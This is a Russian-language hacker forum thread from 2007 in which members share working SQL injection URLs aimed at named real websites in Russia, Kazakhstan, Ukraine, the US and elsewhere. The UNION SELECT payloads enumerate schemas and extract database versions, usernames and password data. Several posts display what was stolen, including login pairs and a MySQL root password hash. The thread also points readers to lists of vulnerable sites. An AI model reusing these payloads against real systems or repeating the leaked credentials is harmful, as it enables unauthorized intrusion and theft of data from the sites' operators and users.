02.07.2007, 20:25
|
|
Участник форума
Регистрация: 12.10.2006
Сообщений: 158
С нами:
10305026
Репутация:
187
|
|
Код:
http://www.paintball.ru/next.php?id=430%20union%20select%201,2,COLUMN_NAME%20FROM+INFORMATION_SCHEMA.COLUMNS%20limit%200,1/*
columns
Код:
CHARACTER_SET_NAME DEFAULT_COLLATE_NAME DESCRIPTION MAXLEN ID IS_DEFAULT IS_COMPILED SORTLEN TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME ORDINAL_POSITION COLUMN_DEFAULT IS_NULLABLE DATA_TYPE CHARACTER_MAXIMUM_LENGTH CHARACTER_OCTET_LENGTH NUMERIC_PRECISION NUMERIC_SCALE COLUMN_TYPE COLUMN_KEY EXTRA PRIVILEGES COLUMN_COMMENT GRANTEE PRIVILEGE_TYPE IS_GRANTABLE CONSTRAINT_CATALOG CONSTRAINT_SCHEMA CONSTRAINT_NAME POSITION_IN_UNIQUE_CONSTRAINT REFERENCED_TABLE_SCHEMA REFERENCED_TABLE_NAME REFERENCED_COLUMN_NAME QUERY_ID SEQ DURATION CPU_USER CPU_SYSTEM CONTEXT_VOLUNTARY CONTEXT_INVOLUNTARY BLOCK_OPS_IN BLOCK_OPS_OUT MESSAGES_SENT MESSAGES_RECEIVED PAGE_FAULTS_MAJOR PAGE_FAULTS_MINOR SWAPS SOURCE_FUNCTION SOURCE_FILE SOURCE_LINE SPECIFIC_NAME ROUTINE_CATALOG ROUTINE_SCHEMA ROUTINE_NAME ROUTINE_TYPE DTD_IDENTIFIER ROUTINE_BODY ROUTINE_DEFINITION EXTERNAL_NAME EXTERNAL_LANGUAGE PARAMETER_STYLE IS_DETERMINISTIC SQL_DATA_ACCESS SQL_PATH SECURITY_TYPE CREATED LAST_ALTERED SQL_MODE ROUTINE_COMMENT DEFINER CATALOG_NAME SCHEMA_NAME DEFAULT_CHARACTER_SET_NAME DEFAULT_COLLATION_NAME NON_UNIQUE INDEX_SCHEMA INDEX_NAME SEQ_IN_INDEX COLLATION CARDINALITY SUB_PART PACKED NULLABLE INDEX_TYPE COMMENT TABLE_TYPE ENGINE VERSION ROW_FORMAT TABLE_ROWS AVG_ROW_LENGTH DATA_LENGTH MAX_DATA_LENGTH INDEX_LENGTH DATA_FREE AUTO_INCREMENT CREATE_TIME
TABLE
Код:
CHARACTER_SETS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES KEY_COLUMN_USAGE PROFILING ROUTINES SCHEMATA SCHEMA_PRIVILEGES STATISTICS TABLES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES VIEWS pb_cat pb_cat_tree pb_city pb_club pb_dealer pb_info pb_journal_obl pb_journal_st pb_kalendar pb_links pb_news pb_news_theme pb_portal pb_reviews pb_team pb_users
Код:
http://earthdata.com/newsarticle.php?id=430%20union%20select%201,AES_DECRYPT(AES_ENCRYPT(user,0x78),0x78),AES_DECRYPT(AES_ENCRYPT(password,0x78),0x78),4,5,6%20from%20mysql.user
Код:
http://www.phfokc.com/show_press.php?id=430%20union%20select%201,2,version(),4/*
5versia
Код:
http://www.eatmybrains.com/showfeature.php?id=430%20union%20select%201,2,3,name,5,version(),7,8,9,10,11,12,13,14,15,16%20from%20user/*
Код:
http://www.georgiasouthern.edu/askgus/viewanswer.php?q=-1+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3b,user(),database(),version()),0x71),0x71),3,4,5,6,7,8,9,10,11,12,13,14/*
где можно посмотреть список sql inj, а то могут повторяться |
|
|
03.07.2007, 00:56
|
|
Познающий
Регистрация: 02.07.2007
Сообщений: 34
С нами:
9926950
Репутация:
29
|
|
Сообщение от kair
где можно посмотреть список sql inj, а то могут повторяться
http://antiboyansql.narod.ru/sql.txt
|
|
|
|
02.07.2007, 21:46
|
|
Участник форума
Регистрация: 03.07.2006
Сообщений: 147
С нами:
10449962
Репутация:
66
|
|
kair
http://hack-shop.org.ru/sql.php
|
|
|
|
03.07.2007, 00:05
|
|
Banned
Регистрация: 10.11.2006
Сообщений: 829
С нами:
10263663
Репутация:
1559
|
|
Код:
http://latchmusic.com/1-2-3-music-store/process.php?pname=ShowAlbumProcess-Start&CategoryID=1/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/concat(0x31203C666F6E7420636F6C6F723D7265643E,login,0x3a,passwd,0x3C2F666F6E743E)/**/from/**/user/*
получаем л+п:
hacked:hax |
|
|
|
03.07.2007, 00:26
|
|
Познающий
Регистрация: 02.07.2007
Сообщений: 34
С нами:
9926950
Репутация:
29
|
|
paradigma.kz
bankinfo.kz
sports.kz
Код:
http://www.paradigma.kz/index.php?part=info&article_type_id=-1+union+select+1,VERSION(),database(),4,5,6,7,8,9,10,11,12,13/*
Код:
http://bankinfo.kz/rus/banks/bank.shtml?id_bank=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*
Код:
http://sports.kz/news.php?type=small&id=-1+union+select+1,2,VERSION(),4,5,USER(),7,8/*
|
|
|
|
03.07.2007, 01:53
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
http://www.deng-yun.com/new.php?tid=-1+union+select+convert(version()+using+latin1)+fro m+mysql.user/*
Только вот не получается ничего оттуда вывести
|
|
|
|
08.07.2007, 13:49
|
|
Познающий
Регистрация: 02.07.2007
Сообщений: 34
С нами:
9926950
Репутация:
29
|
|
Сообщение от Spyder
Только вот не получается ничего оттуда вывести
http://www.deng-yun.com/new.php?tid=-1+union+select+convert(version()+using+latin1)+fro m+mysql.user/*
вот так выводится =)
Код:
http://www.deng-yun.com/new.php?tid=-1+union+select+AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3a,user(),database(),version()),0x7a),0x7a)+from+mysql.user/*
root@localhost:menglida:4.1.18-max
Код:
http://www.deng-yun.com/new.php?tid=-1+union+select+AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3a,user,password),0x7a),0x7a)+from+mysql.user+limit+0,1/*
root:*E60C5A74517ADD5F3CFACA0E8270CC8592A1218C
Последний раз редактировалось V1p-eR; 08.07.2007 в 13:52..
|
|
|
|
03.07.2007, 15:02
|
|
Постоянный
Регистрация: 14.03.2007
Сообщений: 367
С нами:
10084646
Репутация:
161
|
|
че-то не выводит нихрена хотя таблицу подобрал 
http://www.moto.com.ua/forum.php?id=1'+Union+select+1,2,3,4,5,6,7,8,9,10, 11,12,13,14,database(),16,17/*
тут походу слепая
http://www.ais.com.ua/news_detail.php?page_id=15'&news_id=816'
заранее ивеняюсь но в MS SQL не шарю... но помне так это оно еси нет то правьте
http://www.avto-bazar.com.ua/objava.asp?id=1'
тута стопудово
http://www.avtoreklama.com.ua/?show_other&rub=22'+union+select+version(),2/*
Последний раз редактировалось Y.Dmitriy; 03.07.2007 в 15:28..
|
|
|
|
03.07.2007, 15:55
|
|
Познающий
Регистрация: 21.06.2006
Сообщений: 74
С нами:
10467109
Репутация:
222
|
|
http://www.bikeshop.com.ua
Код:
http://www.bikeshop.com.ua/news.php?id=-1+union+select+1,user(),3,database(),5/*
К сожелению базы подобрать не смог.
Последний раз редактировалось Extremal; 03.07.2007 в 15:59..
|
|
|
|
03.07.2007, 16:34
|
|
Постоянный
Регистрация: 08.04.2007
Сообщений: 853
С нами:
10048706
Репутация:
1540
|
|
Сообщение от Extremal
http://www.bikeshop.com.ua
Код:
http://www.bikeshop.com.ua/news.php?id=-1+union+select+1,user(),3,database(),5/*
К сожелению базы подобрать не смог.
прав нету на просмотр списка таблиц
Последний раз редактировалось scrat; 03.07.2007 в 16:36..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
